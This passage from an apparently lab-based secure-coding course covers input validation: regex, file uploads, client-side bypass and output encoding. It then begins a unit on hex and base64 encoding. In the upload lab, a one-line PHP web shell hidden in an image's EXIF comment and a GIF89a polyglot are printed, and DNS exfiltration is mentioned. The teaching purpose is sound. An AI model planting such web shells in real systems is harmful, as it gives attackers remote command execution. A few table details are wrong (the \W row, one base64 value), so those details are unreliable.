| \d | Class | Match any digit, it's the equivalent of [0-9] |
| \D | Class | Match any character that is not a digit, it's the equivalent of [^0-9] |
| \w | Class | Match any alphanumeric character and underscores, it's the equivalent of [a-zA-Z0-9_] |
| \W | Class | Match any non-alphanumeric character and underscores, it's the equivalent of a-za-z0-9_ |
| * | Meta character / Quantifier | Match 0 or more of the preceding character |
| \+ | Meta character / Quantifier | Match 1 or more of the preceding character |
| ? | Meta character / Quantifier | Match 0 or 1 of the preceding character |
| {n} | Quantifier | Match the preceding character or group exactly n times |
| {n,} | Quantifier | Match the preceding character or group at least n times in a greedy fashion |
| {n,}? | Quantifier | Match the preceding character or group at least n times in a lazy fashion |
| {n,m} | Quantifier | Match the preceding character or group between n and m times in a greedy fashion |
| {n,m}? | Quantifier | Match the preceding character or group between n and m times in a lazy fashion |
Table 2 - Regular expression patterns
Using Table 2 as a reference, let's create some
format validations. We should note that when working with regular
expressions, there are many ways to achieve the same result. As long
as we understand the patterns we are using, we might have different
regular expressions that work in the same way.
Let's start with a regular expression that does not require too many
patterns. We'll find the words "burger" and "sandwich", and if they
are found as part of a string, we will replace them with the word
"cake".
To follow along, let's start our VM in the Resources section.
To use regular expressions in Python, we need to import the
re[490] module.
student@inputvalidation:~$ python3
Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import re
Listing 29 - Importing the Python regex library
Next, we'll use the re.sub()[491] function, which
accepts three parameters: a regular expression to use for the search,
the value that will replace the instances of the results of the
search, and the target string. In this case, we will use the regular
expression burger|sandwich, in which the | indicates that either
string is a valid match.
>>> re.sub("burger|sandwich","cake","Cheeseburgers are more than just a sandwich, they are a wish fulfilled.")
'Cheesecakes are more than just a cake, they are a wish fulfilled.'
Listing 30 - Python regex for string replacement
The substitution took place and the function returned a new string.
Let's continue with another example. We'll define the conditions for a
phone number[492] format, and then create the regular
expression for it step by step.
We will describe a phone number format beginning with a country code
of "+593", but we want to capture both cell phones and landlines, which
differ in format.
-
Cell phones have 12 digits after the + sign.
-
Landlines have 11 digits after the + sign.
-
Cell phones can only have 9 or 8 after the country code.
-
Landlines can't have 0, 9, or 8 after the country code.
To create this regular expression, we'll use a
divide-and-conquer[493] approach. Let's break the
problem into small chunks and then we'll assemble the final pattern.
The phone number always needs to start with +593. We'll begin with
^\+593, in which the meta character ^ signifies that the sequence
needs to be at the beginning of the string. The character + is a
meta character, which means we'll need to escape it with \, and
finally the number 593.
Both cell phones and landlines start with the same sequence, but the
pattern will diverge after the country code. For now, we will set up
numerical placeholder groups following the country code, separated by
a logical OR (|).
^\+593(($)|($))
Listing 31 - Partial regular expression
Let's focus on cell phone formats first. The group that represents
cell phones could be something like ([98]\d{8}$). Let's break this
down. The first digit should be either 9 or 8, signified by [98].
Next, we are searching for any digit (\d) repeated eight times
({8}) before we reach the end of the line ($). In summary, we
would have the three-digit country code (defined previously), followed
by nine more digits to result in a 12-digit cell phone number.
Now let's focus on landlines. We will use the regexp
([^908\D]\d{7}$). Let's analyze this. Landlines can't start with 0,
8 or 9, so we will match a single character with a negation class
([^908]) that excludes these digits. Since this is the format of a
negation class, the ^ character in this context does not signify the
beginning of the line. Continuing on, since we also don't want to
match any non-numeric characters, we'll include \D in this class to
exclude non-numeric characters. In summary, this class ([^908\D])
searches for any single number that is not 0, 8, or 9. Next, we include
\d, which includes any digit, repeated exactly seven times ({7})
until we reach the end of the line, $.
Now that we've created patterns for both landlines and cell phones, we
can replace them in our original regular expression. The final
expression is as follows:
^\+593(([98]\d{8}$)|([^908\D]\d{7}$))
Listing 32 - Phone number format for landlines and cell phones
Let's define some test cases to analyze if the regular expression is
working correctly.
- +59342243048 is a landline; it should match.
- +59392659874 is not valid. It has the length of a landline, but a 9 after the country code, which is only valid for cell phones.
- +593968548487 is a valid cell phone; it should match.
- +593459878456 is not valid. It has the length of a cell phone, but has a 4 instead of 9 or 8 after the country code.
- +593a5987845 is not valid because it has an alphabetic character.
Let's test these using the Python re.match() function. The function
returns a re.Match object if the string matches the regular
expression, but doesn't return anything if the string does not match.
student@inputvalidation:~$ python3
Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import re
>>> re.match("^\+593(([98]\d{8}$)|([^908\D]\d{7}$))","+59342243048")
<re.Match object; span=(0, 12), match='+59342243048'>
>>> re.match("^\+593(([98]\d{8}$)|([^908\D]\d{7}$))","+59392659874")
>>> re.match("^\+593(([98]\d{8}$)|([^908\D]\d{7}$))","+593968548487")
<re.Match object; span=(0, 13), match='+593968548487'>
>>> re.match("^\+593(([98]\d{8}$)|([^908\D]\d{7}$))","+593459878456")
>>> re.match("^\+593(([98]\d{8}$)|([^908\D]\d{7}$))","+593a5987845")
Listing 33 - Execution of test cases to verify the regular expression.
Every output matches our expectations, so our pattern worked.
There's another tool we can use to verify if our regular expression is
working correctly. First, let's browse to https://regex101.com/.
The website contains many panels. We are going to focus on Regular
Expression and Test String first.
Let's paste the regular expression we defined in Listing
32 in the Regular Expression section. We'll
also paste all our test cases in the Test String section.
We'll observe that both our regular expression and our test strings
are highlighted. In the case of the regular expression, it is color
coded because the Explanation panel will have corresponding colors
to describe its functionality. Regarding our test strings, not all of
them are highlighted; this means that not all of them matched.
As we already verified using Python, only the values "+59342243048"
and "+593968548487" matched. The colors that the Test String panel
uses to highlight matching values are used to coordinate them to
groups or sections of the regular expressions that they adhere to.
We'll notice the same colors in the Match Information panel.
The Explanation panel is also very useful. It provides a detailed
breakdown of each part of our regex and assigns numbers to sections
such as groups. These numbers are used as identifiers by the Match
Information panel so that it's easier to identify why a particular
string matches our regex.
Creating regular expressions can be a time-consuming process, mostly
because of edge cases that might not seem apparent at first. However,
we don't have to create them every time. There are common patterns
such as zip codes[494] that have public implementations
available online.
Besides edge cases, the assumptions and rules we want to translate
into regular expressions need to be clearly defined. A common
validation that ends up being wrong because of incorrect assumptions
is the validation of email addresses.
It is common for email validators to have incorrect assumptions such
as only allowing common top-level domains[495] such as .com,
.net, and country-specific ones, disregarding newer domains such as
.io, .lawyer, .ninja, which are all valid as well. Another common
mistake is disallowing the character +, which is used to create email
aliases in services such as Gmail.
We need to be careful when we craft regular expressions because in
some cases, we could inadvertently define Evil
Regexes,[496] which are scenarios caused by quantifiers
that create very large numbers of possible matches with
specially-crafted inputs. An attacker could exploit this to cause a
regular expression denial-of-service (ReDoS).[496-1]
To summarize, regular expressions provide a way to verify if our
input follows a format. Some example formats are phone numbers, zip
codes, and email addresses. Regular Expression syntax might appear
intimidating at first, but as long as we define our test cases to
verify if they are correct, we'll be able to use them without issues.
Files are an important way to receive information from users.
Sometimes we even need to publish them immediately after they are
uploaded. If they are not handled correctly, file uploads can provide
a pathway for attackers to gain remote code execution.
Let's first consider files in general. When we validate files, we
might get the false impression that we can rely on the extension to be
sure that a file is not malicious. However, that is not the case.
File extensions are nothing more than informational labels for
aesthetic and classification purposes. Their usage does not go beyond
defining an icon for the file or filtering in file pickers. If we
rename a file with ".docx" to ".txt", it won't lose its formatting and
become a plaintext file. The extension doesn't define the file; it's
the other way around.
When we handle file uploads, some of the common ways to verify if a
file is safe are verifying the file's extension and checking its MIME
type[497] when the file is being uploaded.
MIME type stands for Multi-purpose Internet Mail Extensions. These
are detailed labels used to identify files on the internet. For
instance, HTML's MIME type is text/html.
Both approaches to validating files have the same flaw: the values of
the file's name and MIME type can be spoofed. Attackers could take
advantage of this and upload a PHP file posing as an image, for
instance.
Another approach we can take to validate files is to inspect their
contents. Doing so thoroughly might not be possible all the time, but
some files have headers called magic bytes[498] that can
help us achieve this. Some magic bytes have ASCII representations, but
this is not always the case.
A common example of magic bytes when working with images is the
identifier of animated GIFs. The magic bytes for that type of file are
GIF89A. This is commonly used by attackers to try to upload PHP
files by posing them as images.
Let's analyze an example. To follow along, let's start the VM in the
Resources section. We need to create an additional entry in our
/etc/hosts file to be able to access one of the examples.
kali@kali:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
192.168.50.156 inputvalidation res.inputvalidation
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Listing 34 - Editing our hosts file
Let's analyze a file that appears to be an image, but can also serve
as a working PHP file under specific circumstances.
We'll use the file command, which provides information about a
file. Its only parameter is the name of the file we want to analyze.
student@inputvalidation:~$ file /home/student/fileuploads/html/landboat.jpg
landboat.jpg: JPEG image data , baseline, precision 8, 2574x1930, components 3
Listing 35 - Analyzing files on our Apache server
The command indicates that the file is an image. If we open the file
using our browser, we'll find an image. Let's browse to its URL at
http://inputvalidation/landboat.jpg.
A common naming pattern that attackers follow takes advantage of the
fact that in some cases, naming validations only verify if the name
contains .jpg, .png, or .gif. Attackers take advantage of this by
using a name that contains an image extension, but also has another
extension, such as .php. Let's copy our file using the cp command.
We need two parameters: the original filename landboat.jpg and the
name of the new file. We'll use landboat.jpg.php as the new file
name.
student@inputvalidation:~$ cp /home/student/fileuploads/html/landboat.jpg /home/student/fileuploads/html/landboat.jpg.php
student@inputvalidation:~$ file /home/student/fileuploads/html/landboat.jpg.php
landboat.jpg.php: JPEG image data , baseline, precision 8, 2574x1930, components 3
Listing 36 - Changing extension of an image so it appears to be a PHP file
As expected, according to the file command, the extension didn't
change the nature of the file. Let's browse to its URL,
http://inputvalidation/landboat.jpg.php.
This time, the file behaves as a PHP script. Let's analyze how
this happened. We'll use the command exiftool.[499]
The only parameter we'll use is the name of the file,
/home/student/fileuploads/html/landboat.jpg.php. exiftool allows
us to display the picture's metadata, such as geolocation, which
camera was used to take the picture, or comments. The standard that
specifies the format of this metadata is Exchangeable image file
format (Exif).[500]
student@inputvalidation:~$ exiftool /home/student/fileuploads/html/landboat.jpg.php
ExifTool Version Number : 12.16
File Name : landboat.jpg.php
...
MIME Type : image/jpeg
Comment : <?php echo 'Command:'; if(isset($_GET['cmd'])){system($_GET['cmd']);} phpinfo(); __halt_compiler();
...
Megapixels : 5.0
Listing 37 - Executing exiftool
In this case, the Comment field of our image contains PHP code that
executes a system command if a GET parameter is present, executes the
phpinfo() function, and halts the compiler.
Although most of the file was binary information related to the
image, the PHP parser found the <?php tag and started its
execution, regardless of the contents of the rest of the file.
Attackers also employ a simplified version of this attack by uploading
a file that contains the magic bytes of an animated GIF, but also has
PHP code. Let's analyze the contents of a hypothetical malicious file
posing as a GIF image.
GIF89a
<?php
phpinfo();
Listing 38 - GIF with PHP code
A file with the contents of Listing 38 will be able to
deceive the PHP interpreter, provided that its filename ends in .php.
An interesting detail of this example is that because it contains the
appropriate magic bytes, the file in Listing 38 would
also deceive the file command, which would identify it as an image.
Let's explore some mitigations. One that does not require much
configuration or additional code is to store uploaded files in a place
that is not accessible to end-users, even outside the web root.
When working with images, it is recommended to strip all metadata. We
can also resize images so that if the file is not correct, the
library would fail to process the file. This provides a useful
indicator for rejecting input. Every language will offer different
ways to achieve this. However, there's a popular suite called
ImageMagick[501] that can help us with this task. An
advantage of ImageMagick is that it has bindings with different
programming languages.
When we are using third party extensions or libraries such as
ImageMagick, we need to be aware that they increase our attack
surface. To mitigate this risk, we need to keep ourselves informed
about known vulnerabilities and update them accordingly.
Another approach we can follow is to disable code execution in the
directory where untrusted files will be hosted. We can do so using an
.htaccess[502] file in Apache, but this can be risky
because an attacker could find a way to overwrite or delete the file.
We can address this risk by creating a different virtual
host[503] that disables execution and does not allow such
behavior to be overridden.
Let's investigate the required configuration to achieve this. We need to
make sure our SSH tunnel is open, then browse to
http://localhost:8080/?folder=/home/student/fileuploads.
File: /home/student/fileuploads/000-default.conf
31: <VirtualHost *:80>
...
39: ServerName res.inputvalidation
40:
41: ServerAdmin webmaster@localhost
42: DocumentRoot /var/www/html2
43: php_value engine off
...
59: </VirtualHost>
60:
61: <Directory "/var/www/html2">
62: AllowOverride None
63: </Directory>
Listing 39 - Virtual Host that does not allow execution
Line 39 of Listing 39 contains the name of this
virtual host. This will be the URL that clients will need to use to
access it. Line 43 disables the execution of PHP files on this virtual
host. This assures us that even if an attacker were to upload a PHP
file, they won't be able to run it. Finally, line 62 instructs the
server that we don't want this configuration to be altered by
.htaccess files.
There's a copy of the file that contained the EXIF data in the virtual
host we just analyzed. Let's browse to its URL
(http://res.inputvalidation/landboat.jpg.php) and inspect how
Apache will handle it.
Excellent! The new virtual host prevented the code from executing. A
common variation of this approach is to upload files to a cloud
bucket[504] such as S3. This also decreases our attack
surface because uploaded files end up not being executable.
Since images can be the path for dangerous attack vectors, we need to
be careful while validating them. We need to rely on validation
methods that are not spoofable, which is why file extensions and MIME
types are not enough. Even when we use magic bytes to verify file
contents, we need to take extra steps to be certain that a file is not
malicious before accepting it.
When we validate inputs, sometimes they appear to be correct in the
way the values are written (making them syntactically correct). On
the other hand, semantic validation relates to the meaning of our
input, not just its structure or how those values are written. For
instance, the sentence "Fire is wet" is syntactically correct, but
it's semantically wrong.
Valid ranges are an example of semantic validation. We might have
assurances that we are getting a numeric value, but in most
situations, we also have constraints such as ranges of numbers,
especially in applications such as e-commerce sites.
For these types of validations, if they are not too complex, we can
implement them manually. However, most web frameworks have some sort
of validation functionality built-in, or in some other cases,
third-party validation libraries can be integrated with frameworks.
For instance, in Python, the WTForms[505] library can be
integrated with Flask[506] projects.
Some semantic validations can be difficult to implement manually. For
instance, a date can appear to be acceptable at first, but it might
end up not being real. For instance, "Mon, Feb 30th, 2023" is not a
valid date, but if we validate only syntactically, we might end up in
a situation where even though a value appears correct, it is not.
To validate dates, we don't even need external libraries. In Python,
the native datetime[507] module provides ways to validate
if dates are correct or not by using formats.[508] The
formats represent a date component. For instance, %Y represents a
four-digit year.
Let's analyze an example. To follow along, let's start the VM in the
Resources section. We'll use datetime to validate date strings in
Python. First, we need to import the datetime module.
student@inputvalidation:~$ python3
Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from datetime import datetime
Listing 40 - Importing the library
The datetime module contains helper functions such as
strptime()[509] that allow us to manipulate dates. The
strptime function receives two parameters, the string that contains
our representation of a date and the format of our first string. If
the string adheres to that date format, we will obtain a
datetime.datetime object. Otherwise, we'll get a ValueError. Let's
explore an execution that returns correctly.
>>> datetime.strptime("Sat, Feb 25th, 2023", "%a, %b %dth, %Y")
datetime.datetime(2023, 2, 25, 0, 0)
Listing 41 - Successful execution of strptime
As expected, the execution was successful and we obtained an object.
Something we should note about formats is that characters that do not
start with % are interpreted as literal strings. Next, let's analyze
an example of a non-existing date.
>>> datetime.strptime("Mon, Feb 30th, 2023", "%a, %b %dth, %Y")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python3.10/_strptime.py", line 568, in _strptime_datetime
tt, fraction, gmtoff_fraction = _strptime(data_string, format)
File "/usr/lib/python3.10/_strptime.py", line 534, in _strptime
julian = datetime_date(year, month, day).toordinal() - \
ValueError: day is out of range for month
Listing 42 - Date validation in Python
The date Mon, Feb 30th, 2023 is not correct, which is why we obtained
a ValueError.
Valid emails can be difficult to verify correctly, as we observed when
analyzing nuances using regular expressions. There are many RFCs that
explain the validity of email addresses. However, those rules are not
always followed, and some valid addresses can be deemed incorrect by
some applications.
PHP provides a function named filter_var()[510] that
receives a value and an integer format. One of those formats is
FILTER_VALIDATE_EMAIL. It returns a value if the input is valid
according to the filter, or false if it's not. This can help us avoid
re-implementing email validation. However, even though this function
is accepted, there are still edge cases that should be considered
valid, but that this function rejects.
Serialization[511] attacks are also a risk that
we need to consider when we validate data. Manual validation of
serialized data is complex to implement manually. However, we can
securely configure the parsers that our programming language provides.
When we work with XML[512] data, XML External Entities
(XXE)[513] can be very dangerous, but we can try to avoid them by
securely configuring our parsers so that this functionality is
disabled.
In cases where input is not only valid depending on its syntax but
also on its meaning to us, we need to use semantic validation. When
working with dates and emails, we can use functions in the standard
library of our programming language to help us. There are also
external libraries that we can use to achieve the same result.
We've analyzed some ways to mitigate risks with data we accept from
users. Now let's explore cases in which we need to validate data and
the implications of not doing so.
Although client-side validation is important, from a security
standpoint, it is not enough to protect us from malicious input. At
best, client-side validation should be thought of as a tool to improve
user experience.
The reason for this is that it is possible to connect to the backend
without triggering these validations. We can achieve this in many
ways, such as turning off JavaScript on our browser, rewriting the
definition of the JavaScript function via Web Developer Tools, or
using a proxy like Burp Suite.[514]
However, if we also implement our validations server-side, we can
mitigate the risk of the client not being bound by our client-side
validations.
Let's analyze an example. To follow along, let's start the VM in the
Resources section at the bottom of this page. We'll also need to
make sure to recreate our SSH tunnel to access the source code.
We'll start by browsing to http://inputvalidation:8085, an
application that lets users change the color of a section by selecting
it from a dropdown list.
This application has a client-side allowlist that should prevent the
form from submitting if a color that is not part of the list is
submitted, but there are no server-side validations. To access the
code, let's open another browser tab at
http://localhost:8080/?folder=/home/student/client_validation_bypass.
File: /home/student/client_validation_bypass/static/scripts/colors.js
01: let allowedColors = ["#6619D0", "#00BFCB", "#190634", "#FFFFFF"] ;
02: function validate_colors(){
03: selectedColor = document.getElementById("color").value;
04: canSubmitForm = allowedColors.includes(selectedColor);
05: if(!canSubmitForm){
06: alert("The color you chose is not allowed");
07: }
08: return canSubmitForm;
09: }
Listing 43 - Client-side Allowlist
Line 1 in Listing 43 contains a list of
permitted values. If the user tries to submit a different value,
the form will not submit. To achieve this behavior, this function is
called from the onsubmit event of the form. If the function returns
false, the form is not submitted.
Let's investigate how an attacker could take advantage of our lack of
server-side validations. First, let's right-click the button with the
label Choose Color and select the Inspect option from the context
menu. After doing so, we'll find the definition of the HTML form.
The form tag contains the onsubmit attribute, which contains
return validate_colors();. Let's double-click the value of the
onsubmit attribute and delete its contents.
By this point, the validation is no longer being triggered, so we can
test it by altering the values of the dropdown menu and submitting the
form.
To do so, let's right-click the dropdown menu and select Inspect.
We'll find the select tag. We can then expand it to list its
options.
Let's double-click "Deep Purple" and replace it with "Gray", then
double-click "#6619D0" and replace it with "#DEDEDE".
Now we can click on Choose color, and the page will load with a
color that should not be allowed.
We have now bypassed the control. An important detail to notice is
that both the form tag and the select tag have been restored to their
original values by this point because the page reloaded, meaning it
returned to the state that is returned by the server.
With that in mind, let's analyze another bypass we could have used.
Let's navigate to the Developer Tools Console tab.
Using the Javascript console, let's rewrite the validate_colors()
function so that it always returns true.
function validate_colors(){return true}
Listing 44 - Modified version of validate_colors()
Let's type the contents of Listing 44 into
the console to alter the function.
In the function's current state, even if the form calls it, the
submission will not be stopped if we modify the value of the dropdown
list, because validate_colors() always returns true.
Let's analyze the mitigation. The only requirement to prevent this
issue is to re-implement the same allowlist on the server-side code.
File: /home/student/client_validation_bypass/app.py
...
08: allowed_colors = ["#6619D0", "#00BFCB", "#190634", "#FFFFFF"]
...
10: @app.route('/', methods = ['GET', 'POST'])
11: def index():
12: default_color = "#6619D0"
13: if request.method == "GET":
14: response = make_response(render_template("index.html", color=default_color, hex_color=default_color))
15: else:
16: if "color" in request.form:
17: color = request.form.get('color')
18: #Validation that we could implement to fix the problem
19: #if not color in allowed_colors:
20: # color = default_color
21: else:
22: color = default_color
23: response = make_response(render_template("index.html", color=color, hex_color=color))
24: return response
...
Listing 45 - Colors server-side code
The comments on lines 19 and 20 contain the re-implementation of the
allowlist that would have prevented the misuse of the form. With that
control in place, if a user sends a different value, it won't be
accepted, and the default value will be used.
We cannot blindly trust client-side code. It can always be rewritten
by an attacker without our knowledge. This is the reason why every
control and validation that we implement needs to be present in the
client-side and the server-side code.
In some cases, we might legitimately need to accept data that is
dangerous in some form. An example would include sites such as
StackOverflow, where all sorts of code is published.
We know that, when possible, it is preferable to implement an
allowlist. However, sometimes our allowlist could end up being the
whole universe of available characters, especially for fields such as
names and last names in globally-used applications (e.g. accented
characters and non-Latin characters). We can't be completely sure that
our allowlist won't cause problems. This is why we need to rely on
defense in depth,[515] which consists of a layered
approach to our security controls. This means that even if one control
fails, another one should mitigate risks. Let's explore some other
controls we can implement.
Besides rejecting and removing data that can be deemed unsafe, another
option is to encode it or escape it properly. Although these terms are
often used interchangeably, encoding and escaping have differences.
Encoding is a way to present the same data in a different format. An
example of this is in URLs where we can have characters that might be
ambiguous, such as &, which is used to separate query string
parameters. This means that if we want to include & as
part of a value without it having its special meaning as a query
string delimiter, we need to URL-encode it as %26.
Another example of this is when we want to use characters such as >
and <, but we don't want them to be interpreted by the browser as
HTML tags. These two characters can be encoded as < and >
respectively, so that they are interpreted as regular characters and
not as delimiters for HTML tags. These conversions are known as HTML
entities.[516] We can use certain functions to help
with this, such as htmlentities()[517], which is
available in PHP.
Escaping is a subset of encoding in which we only need to use a
prefix to prevent ambiguities with characters that have special
meanings. We used escaping when we analyzed regular expressions.
Even when we have validations in place, they can't be our only defense
against malicious input. Context is key. To understand how to defend
different inputs, we need to take into consideration the sinks where
those inputs will be sent.
If we know that particular parameters need to be
stored in a database, we need to use parameterized
queries, and if possible, helper functions such as
mysqli_real_escape_string()[518] when we use
PHP.
We also need to consider sanitization when we want to present unsafe
values as part of our HTML. In such cases, we can use helper libraries
such as DOMPurify.[519] In scenarios where we need to
manually implement sanitization for this particular risk, we need to
consider that cleaning up HTML tags might not be enough. An attacker
could also override DOM events such as onerror on images.
To summarize, when we can't validate our input for varying reasons
such as the impossibility of defining allowlists or the need to
present unsafe data, we need to rely on other security controls such
as encoding and escaping.
Wrapping Up
In this Learning Module, we have explored the most common sources of
input from users when we create websites. We explored how the way each
programming language handles variables can influence the way we should
approach input validation.
We introduced some controls that we can implement to verify values so
that they adhere to our business logic and also to prevent them from
introducing malicious payloads into our applications. To achieve this
goal, we explored how to define blocklists and allowlists. We
investigated the syntax required to verify formats using regular
expressions and analyzed ways to verify if our regular expressions
work as expected.
We explored how seemingly-benign files could be used by attackers to
gain remote execution, and some techniques we can use to help prevent
that from happening.
We covered how sometimes what is written is not the only aspect of our
validations, but we may also need to check the meaning of inputs.
Finally, we acknowledged that in some cases we need to allow unsafe
input, and introduced some security control concepts to help mitigate
risks that this unsafe input could bring.
Introduction to Encoding, Serialization, XML, JSON, and YAML
In this Learning Module, we will cover the following Learning Units:
- Introduction to Encoding and Data Serialization
- XML Basics
- JSON Basics
- YAML Basics
Serialization[520] is the process of converting data
(raw or formatted) into a portable and interoperable format. Converting
the serialized data back to how it was before that serialization
is referred to as deserialization. Any data can be serialized, even
serialized data. There is more than one type of serialization, but
serialization is often done so that the data can be used as a stream
of bytes sent from one system to another.
In this module, we will take the idea of serialization and apply
it to data serialization languages. Becoming proficient with
data serialization languages and formats takes time and practice,
especially given the complexity behind some formats and how different
applications may add rules of their own.
With that, we will not be able to completely cover them, but we
will get an overview of some common data formats and cover three
specific data serialization languages that are used in the industry:
Extensible Markup Language (XML), JavaScript Object Notation
(JSON), and YAML Ain't Markup Language (YAML).
Introduction to Encoding and Data Serialization
This Learning Unit covers the following Learning Objectives:
- Define and compare serialization vs serialization languages
- Understand why data serialization is important
- Compare and contrast XML, JSON, and YAML serialization languages
In this Learning Unit, we will begin by getting a better understanding
of what serialization is and why it is important from a general
perspective. We will end by reviewing an overview of the three data
serialization languages before we expand on each of them within the
next Learning Units.
Serialization is the process of converting data into a stream of bytes
between two or more different systems. For this module, we will focus
on converting things like an application state or data structures,
which brings us to data serialization languages. These languages
provide a format for serialization that can, in turn, be understood by
different platforms, applications, or architectures.
With varying data structures existing, a standardized format to
allow for the transfer of data or data structures more quickly and
easily was created by Sun Microsystems.[521] They
developed a data serialization format in the 1980s called External
Data Representation (XDR)[522] that encodes and decodes data
structures for transport.
Encoding[523] is conversion of data representation, a map
for expanding data into consistent portable data. The reverse
process is called decoding. When we encode data, we are typically
expanding the length by mapping data to a smaller set of characters.
The result is that data is typically larger when encoded.
There are numerous encoding standards, but some of the most
important examples to know areUnicode,[524] American
Standard Code for Information Interchange (ASCII),[525]
base64,[526] and hexadecimal.[527] Unicode is the
larger of the encoding types, having over one million different
characters and spots for many more in the future. Unicode has three
encoding specifications as subsets of the Unicode specification:
UTF-32,[528] UTF-16,[529] and UTF-8.[530] The 32
in UTF-32 means 32 bits are used to represent a given UTF-32 character
as an integer. UTF-16 and UTF-8 are slightly more complex because bits
used can vary depending on the character.
Here is an example of some UTF-8 characters along with their Unicode
codepoint[531] values and binary representation.
| UTF-8 Character | UTF-8 codepoint | binary |
|---|---|---|
| (thin space) | U+2009 | 100000 00001001 |
| ✨ | U+2728 | 11100010 10011100 10101000 |
| 3 | U+0033 | 110011 |
Table 1 - unicode examples
The example "thin space" can't be shown in our table as UTF-8, as
it is an invisible character. There are many invisible characters
possible, including control characters that execute special machine
instructions like delete. In order to avoid these invisible
characters getting lost, executing special instructions, or otherwise
causing problems for applications, we can use hex or base64 encoding
to move them around safely.
| UTF-8 Character | hex encoded | base64 encoded |
|---|---|---|
| (thin space) | e28089 | 4oCJ |
| ✨ | e29ca8 | 84pyo |
| 3 | 33 | Mw== |
Table 2 - unicode examples as hex and base64
Unlike the enormousness and complexity of Unicode, ASCII is a much
smaller set of characters, commonly broken into two groups. The
first group of characters is the 0-127 group, or the standard ASCII
characters. This group includes some control characters such as
delete, shift, and even the beep noise known as bell, along with
others. This first group is roughly the same characters we can get
from a standard keyboard. The second group of ASCII characters is the
extended ASCII group, 128-255, which primarily include additional
symbols and shapes.
Base64 is 64 characters, although it is worth noting there are
different types of base64 encoding with slight variations. Most base64
versions include only visible characters, although it is possible to
use a non-standard base64 set that includes invisible characters. Most
commonly the base64 sets used are canonical base64, the same as we
get from the base64 program in Linux, and web-safe base64, which is
used for web programming. The main differences between the two is that
the forward slash in common base64 is replaced with an underscore in
web-safe base64, and the plus sign in common base64 is replaced with a
hyphen in web-safe base64. These changes for web-safe base64 are there
to align with JSON format specifications, which we will discuss later
in this module. There are also base32 and base16 encodings, and hex is
a type of base16.
The equals signs in base64 are padding, and can be disregarded and
the decoding will still work.
The smaller the character set, the larger the encoding conversion will
increase the data size. Base64 encoding typically increases the data
size by about 33%.
Hex is the smallest set we will use, with only 16 characters, 0-9
and a-f. There are only two variations of hex: hex uppercase and hex
lowercase. Because hex (hexadecimal) is the smallest set we will use,
it often makes the largest data sizes. The benefit however is that hex
is the most portable and interoperable of the types we have discussed.
Hex encoded data can go pretty much anywhere.
Encoding is not encryption, it does not provide secrecy for
the data. Encoding is used for portability and display. Encryption
might utilize encoding, but encoding by itself does not really make
something secret. Base64 encoding data makes it easier to move around
and view, but does not provide encryption itself.
While encoding does not provide secrecy, it can be used to aid in
malicious activity. If an organization has a binary program that
is an internal secret that should not leave the servers, but the
servers allow DNS out to the internet, an internal malicious
actor that has access to the server might be able to perform data
exfiltration[532] by encoding the binary to a more
portable format, then sending that portable text representation out to
a malicious DNS server or copy and pasting the hex out of the terminal
to another location.
Here is an example of encoding and decoding binary to hex with
xxd.[533] We will encode the entire binary for bash
into hex as an example. We are not displaying all of the encoded
data in the example as it a large amount of output, and we are only
decoding the first part of the hex.
Data can be piped into the xxd and base64 programs for encoding
or decoding. The -p option tells xxd to use plain hex encoding
of the input, while -r combined with -p decodes plain hex.
When we echo the data we use -n in the example to avoid including
a newline character in the input, and we pipe the echo data into
xxd.
kali@kali:~$ xxd -p /bin/bash
7f454c4602010100000000000000000003003e0001000000700603000000
0000400000000000000098be12000000000000000000400038000d004000
1e001d000600000004000000400000000000000040000000000000004000
000000000000d802000000000000d8020000000000000800000000000000
030000000400000018030000000000001803000000000000180300000000
00001c000000000000001c00000000000000010000000000000001000000
04000000000000000000000000000000000000000000000000000000f0de
020000000000f0de02000000000000100000000000000100000005000000
00e002000000000000e002000000000000e0020000000000ada20b000000
0000ada20b00000000000010000000000000010000000400000000900e00
0000000000900e000000000000900e0000000000c86f030000000000c86f
03000000000000100000000000000100000006000000d002120000000000
d012120000000000d01212000000000074ba000000000000c86a01000000
000000100000000000000200000006000000f02c120000000000f03c1200
00000000f03c120000000000000200000000000000020000000000000800
000000000000040000000400000038030000000000003803000000000000
380300000000000020000000000000002000000000000000080000000000
000004000000040000005803000000000000580300000000000058030000
0000000044000000000000004400000000000000040000000000000053e5
...
kali@kali:~$ echo -n 7f454c46 | xxd -r -p
ELF
Listing 1 - xxd hex example
We can do a similar operation with base64. In our example with the
base64 program, we will use no options on the encoding and the
-d option on the decoding.
kali@kali:~$ base64 /bin/ls
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgGEAAAAAAABAAAAAAAAAAGg3AgAAAAAAAAAAAEAAOAAL
AEAAHgAdAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAaAIAAAAAAABoAgAAAAAAAAgA
AAAAAAAAAwAAAAQAAACoAgAAAAAAAKgCAAAAAAAAqAIAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
AAAAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADg1AAAAAAAAODUAAAAAAAAAEAAA
AAAAAAEAAAAFAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAyUMBAAAAAADJQwEAAAAAAAAQAAAA
AAAAAQAAAAQAAAAAkAEAAAAAAACQAQAAAAAAAJABAAAAAAC4igAAAAAAALiKAAAAAAAAABAAAAAA
AAABAAAABgAAAFAjAgAAAAAAUDMCAAAAAABQMwIAAAAAAHgSAAAAAAAAaCUAAAAAAAAAEAAAAAAA
AAIAAAAGAAAA2C0CAAAAAADYPQIAAAAAANg9AgAAAAAA8AEAAAAAAADwAQAAAAAAAAgAAAAAAAAA
BAAAAAQAAADEAgAAAAAAAMQCAAAAAAAAxAIAAAAAAABEAAAAAAAAAEQAAAAAAAAABAAAAAAAAABQ
